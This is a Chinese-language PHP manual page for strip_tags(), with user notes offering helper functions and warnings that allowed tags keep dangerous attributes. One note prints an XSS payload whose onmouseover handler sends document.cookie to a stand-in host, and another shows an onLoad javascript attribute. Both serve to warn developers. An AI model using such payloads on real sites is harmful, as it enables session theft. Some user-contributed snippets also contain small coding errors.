2024 年 PHP 日本大会

strip_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

strip_tags从字符串中去除 HTML 和 PHP 标签

描述

strip_tags(字符串 $string, 数组|字符串| $allowed_tags = null): 字符串

此函数尝试返回一个字符串,其中所有 NULL 字节、HTML 和 PHP 标签都已从给定的 string 中去除。它使用与 fgetss() 函数相同的标签去除状态机。

参数

string

输入字符串。

allowed_tags

可以使用可选的第二个参数来指定不应去除的标签。这些标签可以是 字符串,从 PHP 7.4.0 开始,也可以是 数组。有关此参数的格式,请参阅下面的示例。

注意:

HTML 注释和 PHP 标签也会被去除。这是硬编码的,无法使用 allowed_tags 更改。

注意:

自闭合 XHTML 标签将被忽略,并且只有非自闭合标签应该在 allowed_tags 中使用。例如,要同时允许 <br><br/>,应该使用

<?php
strip_tags
($input, '<br>');
?>

返回值

返回已去除标签的字符串。

变更日志

版本 描述
8.0.0 allowed_tags 现在可以为空。
7.4.0 allowed_tags 现在还可以接受 数组

示例

示例 #1 strip_tags() 示例

<?php
$text
= '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo
strip_tags($text);
echo
"\n";

// 允许 <p> 和 <a>
echo strip_tags($text, '<p><a>');

// 从 PHP 7.4.0 开始,上面一行可以写成:
// echo strip_tags($text, ['p', 'a']);
?>

上面的例子将输出

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

备注

警告

此函数不应用于尝试阻止 XSS 攻击。请根据输出上下文使用更合适的函数,例如 htmlspecialchars() 或其他方法。

警告

因为 strip_tags() 实际上并不验证 HTML,所以部分或损坏的标签可能会导致去除比预期更多的文本/数据。

警告

此函数不会修改您使用 allowed_tags 允许的标签上的任何属性,包括 styleonmouseover 属性,这些属性可能会被恶意用户在发布将显示给其他用户的文本时滥用。

注意:

输入 HTML 中长度大于 1023 字节的标签名称将被视为无效,而不管 allowed_tags 参数如何。

参见

添加备注

用户贡献的备注 14 条备注

274
mariusz.tarnaski at wp dot pl
16 年前
你好。我编写了一个函数,用于去除 HTML 标签及其内容。

函数
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
$tags = array_unique($tags[1]);

if(
is_array($tags) AND count($tags) > 0) {
if(
$invert == FALSE) {
return
preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
}
else {
return
preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
}
}
elseif(
$invert == FALSE) {
return
preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
}
return
$text;
}
?>

示例文本
$text = '<b>sample</b> text with <div>tags</div>';

strip_tags($text) 的结果
sample text with tags

strip_tags_content($text) 的结果
text with

strip_tags_content($text, '<b>') 的结果
<b>sample</b> text with

strip_tags_content($text, '<b>', TRUE); 的结果
text with <div>tags</div>

我希望这对某些人有用 :)
35
doug at exploittheweb dot com
9 年前
"5.3.4 strip_tags() 不再去除自闭合 XHTML 标签,除非自闭合 XHTML 标签也在 allowable_tags 中给出。"

这句话表达得不太好。

上面似乎是在说,从 5.3.4 开始,如果在 allowable_tags 中没有指定 "<br/>",则 "<br/>" 将不会被去除……但这实际上并不是他们想表达的意思。

这意味着,在 5.3.4 之前的版本中,它会“去除自闭合 XHTML 标签,除非自闭合 XHTML 标签也在 allowable_tags 中指定”,而从 5.3.4 版本开始,情况不再如此。

所以,“不再去除自闭合标签(除非自闭合 XHTML 标签也在 allowable_tags 中指定)”实际上是说“不再(去除自闭合标签,除非自闭合 XHTML 标签也在 allowable_tags 中指定)”。

例如:

5.3.4 之前:strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // 去除了 <br/>,因为它没有在 allowable_tags 中明确指定

5.3.4 及以后:strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // 没有去除 <br/>,因为 PHP 将其与 allowable_tags 中的 <br> 匹配
11
abe
3年前
注意,strip_tags 会移除任何看起来像标签的东西——不仅仅是标签——例如,如果属性中包含标签,它们也可能被移除。

例如:

<?php
$test
='<div a="abc <b>def</b> hij" b="1">x<b>y</b>z</div>';
$echo strip_tags($test, "<div><b>");

将输出

<div a="abc bdef/b hij" b="1">x<b>y</b>z</div>
23
Dr. Gianluigi &#34;Zane&#34; Zanettini
9 年前
需要注意的是,只有当你移除所有标签时,strip_tags() 才能用于输入验证。一旦你接受单个标签(第二个参数),你就打开了安全漏洞,例如:

<acceptedTag onLoad="javascript:malicious()" />

此外:使用正则表达式去除属性或代码块并不是正确的解决方案。当使用 strip_tags() 接受单个标签进行有效的输入验证时,http://htmlpurifier.org/ 是最佳选择。
5
makogon-vs at yandex dot ru
1年前
这个函数最荒谬且常见的用法之一,尤其是在编程新手群体中,是在处理查询变量时使用它。

<?php
$search
= isset($_GET['search']) ? strip_tags($_GET['search']) : '';
?>

我不知道这种“时尚”的根源是什么,也许是本世纪初又一本低质量的 PHP 书籍。但事实是,即使在 PHP8 时代,这种构造不仅被初学者使用,也被商业系统的开发者使用。

请不要以这种方式使用此函数。这没有任何实际意义。

HTML 代码移除函数与数据验证无关,更不用说 SQL 注入的问题了。

此外,在将数据写入数据库之前,你不应该使用此函数。听起来很奇怪,但你永远无法确定,在你设计的企业系统中使用此函数时,你是否不会丢失可能(或最终会)以 HTML 格式传入的重要传入数据。
构建系统的良好实践是勾勒出原始形式的数据,“原样”,但你可以根据当前的业务需求在客户端代码中提供此数据。
43
bzplan at web dot de
12年前
像这样的 HTML 代码

<?php
$html
= '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
'
;
?>

使用 <?php $str = strip_tags($html); ?>
...结果是

$str = 'color is bluesize is huge
material is wood';

注意:“blue”和“size”连在了一起 :(
并且换行符仍然在新字符串 $str 中

如果你需要单词之间有空格(并且没有换行符)
使用我的函数:<?php $str = rip_tags($html); ?>
...结果是

$str = 'color is blue size is huge material is wood';

函数

<?php
// --------------------------------------------------------------

function rip_tags($string) {

// ----- 移除 HTML 标签 -----
$string = preg_replace ('/<[^>]*>/', ' ', $string);

// ----- 移除控制字符 -----
$string = str_replace("\r", '', $string); // --- 用空空格替换
$string = str_replace("\n", ' ', $string); // --- 用空格替换
$string = str_replace("\t", ' ', $string); // --- 用空格替换

// ----- 移除多个空格 -----
$string = trim(preg_replace('/ {2,}/', ' ', $string));

return
$string;

}

// --------------------------------------------------------------
?>

关键是正则表达式模式:'/<[^>]*>/'
代替 strip_tags()
...然后移除控制字符和多个空格
:)
23
stever at starburstpublishing dot com dot au
8年前
由于 strip_tags 不移除属性,因此会产生潜在的 XSS 安全漏洞,这里有一个我编写的小函数,它只允许使用特定属性的特定标签,并去除所有其他标签和属性。

如果你只允许格式化标签,如 b、i 和 p,以及样式属性,如 class、id 和 style,这将去除格式化标签中的所有 javascript,包括事件触发器。

请注意,允许锚点标签或 href 属性会打开另一个潜在的安全漏洞,此解决方案无法防御。如果你计划在文本中允许链接,则需要更全面的保护。

<?php
function stripUnwantedTagsAndAttrs($html_str){
$xml = new DOMDocument();
//抑制警告:正确的错误处理超出了示例的范围
libxml_use_internal_errors(true);
//在此处列出要允许的标签,注意你必须允许 html 和 body,否则整个字符串将被清除
$allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
//在此处列出要允许的属性
$allowed_attrs = array ("class", "id", "style");
if (!
strlen($html_str)){return false;}
if (
$xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
foreach (
$xml->getElementsByTagName("*") as $tag){
if (!
in_array($tag->tagName, $allowed_tags)){
$tag->parentNode->removeChild($tag);
}else{
foreach (
$tag->attributes as $attr){
if (!
in_array($attr->nodeName, $allowed_attrs)){
$tag->removeAttribute($attr->nodeName);
}
}
}
}
}
return
$xml->saveHTML();
}
?>
42
CEO at CarPool2Camp dot org
15年前
注意相同标签的不同版本的不同输出

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br>');
var_dump($new); // 输出 string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br/>');
var_dump($new); // 输出 string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br />');
var_dump($new); // 输出 string(11) "EachNewLine"
?>
9
roger dot keulen at vaimo dot com
5年前
https://bugs.php.net/bug.php?id=78346

从v7.3.3升级到v7.3.7后,似乎字符串内的嵌套“php标签”不再被strip_tags()正确去除。

这在v7.3.3、v7.2和v7.1中仍然有效。我在下面添加了一个简单的测试。

测试脚本
---------------
<?php
$str
= '<?= \'<?= 1 ?>\' ?>2';
var_dump(strip_tags($str));

预期结果:
----------------
string(1) "2"

实际结果:
--------------
string(5) "' ?>2"
5
Trititaty
8年前
特性
* 可允许的标签(如strip_tags中),
* 可选地去除允许标签的属性,
* 可选地保留注释,
* 删除损坏和未关闭的标签和注释,
* 针对每个处理的部分可选地调用回调函数,允许灵活的替换。

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
$allowable_tags = array_map( 'strtolower', array_filter( // 小写
preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // 获取标签名称
function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // 过滤损坏的
) );
$comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach (
$comments_and_stuff as $i => $comment_or_stuff ) {
if (
$i % 2 ) { // html注释
if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
$comments_and_stuff[$i] = '';
}
} else {
// 注释之间的内容
$tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach (
$tags_and_text as $j => $tag_or_text ) {
$is_broken = false;
$is_allowable = true;
$result = $tag_or_text;
if (
$j % 2 ) { // 标签
if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
$tag = strtolower( $matches[2] );
if (
in_array( $tag, $allowable_tags ) ) {
if (
$strip_attrs ) {
$opening = $matches[1];
$closing = ( $opening === '</' ) ? '>' : $closing;
$result = $opening . $tag . $closing;
}
} else {
$is_allowable = false;
$result = '';
}
} else {
$is_broken = true;
$result = '';
}
} else {
// 文本
$tag = false;
}
if ( !
$is_broken && isset( $callback ) ) {
// 允许结果修改
call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
}
$tags_and_text[$j] = $result;
}
$comments_and_stuff[$i] = implode( '', $tags_and_text );
}
}
$str = implode( '', $comments_and_stuff );
return
$str;
}
?>

回调参数
* &$result:包含要替换原始部分的文本(例如,禁止标签的空字符串),可以更改;
* $tag_or_text:原始文本片段或标签(见下文);
* $tag:标签之间的文本为false,标签的小写标签名称;
* $is_allowable:布尔值,指示标签是否不允许(避免重复检查),标签之间的文本始终为true
不会为注释和损坏的标签调用回调函数。

注意:此函数不会完全验证标签(更不用说HTML本身了),它只是强制去除那些明显损坏的标签(除了去除禁止的标签)。如果要获得有效的标签,可以使用strip_attrs选项,但这并不能保证标签是平衡的或在适当的上下文中使用。对于复杂的逻辑,请考虑使用DOM解析器。
2
匿名用户
7年前
只是bzplan函数,可以选择替换哪些标签

function rip_tags($string, $rep = ' ') {

// ----- 删除HTML标签 -----
$string = preg_replace ('/<[^>]*>/', $rep, $string);

// ----- 删除控制字符 -----
$string = str_replace("\r", '', $string); // --- 用空字符串替换
$string = str_replace("\n", $rep, $string); // --- 用空格替换
$string = str_replace("\t", $rep, $string); // --- 用空格替换

// ----- 删除多个空格 -----
$string = trim(preg_replace('/ {2,}/', $rep, $string));

return $string;

}
5
cesar at nixar dot org
18年前
这是一个类似于stripslashes手册页中显示的strip_tags的递归函数。

<?php
function strip_tags_deep($value)
{
return
is_array($value) ?
array_map('strip_tags_deep', $value) :
strip_tags($value);
}

// 示例
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// 输出
print_r($array);
?>
2
[email protected]
10年前
使用`allowable_tags`时,`strip_tags`并不安全。

<?php

$str
= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> 不要悬停鼠标 </p>";
$str= strip_tags($str, '<p>');
echo
$str; // 显示: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> 不要悬停鼠标 </p>";

?>
2
[email protected]
14年前
对于大多数超过一行的网络用户输入,我发现90%都是“从Word粘贴”的内容。我花了很长时间开发了这个函数来尝试去除所有这些冗余内容。这里的一些操作是特定于应用程序的,但如果它对您有所帮助——很好,如果您能改进它或有更好的方法——请——发布它……

<?php

function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
{
mb_regex_encoding('UTF-8');
//首先替换MS特殊字符
$search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
$replace = array('\'', '\'', '"', '"', '-');
$text = preg_replace($search, $replace, $text);
//确保所有HTML实体都转换为普通的ASCII等效项——在某些MS标头中,一些HTML实体被编码,而另一些则没有
$text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
//首先尝试去除任何C风格的注释,因为这些注释嵌入在HTML注释中,似乎阻止了strip_tags删除HTML注释(MS Word引入的组合)
if(mb_stripos($text, '/*') !== FALSE){
$text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
}
//在任何可能被strip_tags捕获的算术表达式中插入一个空格,这样它们就不会被
//'<1'变为'< 1'(注意:有点特定于应用程序)
$text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
$text = strip_tags($text, $allowed_tags);
//消除行首行尾的多余空格,或任何地方有两个或多个空格的地方,将其转换为一个
$text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
//去除内联CSS并简化样式标签
$search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
$replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
$text = preg_replace($search, $replace, $text);
//在一些较新的MS Word导出文件中,你会得到形式为'if gte mso 9'等的条件语句,看起来
//HTML注释中的任何内容都会阻止strip_tags消除包含
//一些MS样式定义的HTML注释——最后一点去除了任何剩余的注释*/
$num_matches = preg_match_all("/\<!--/u", $text, $matches);
if(
$num_matches){
$text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
}
return
$text;
}
?>
To Top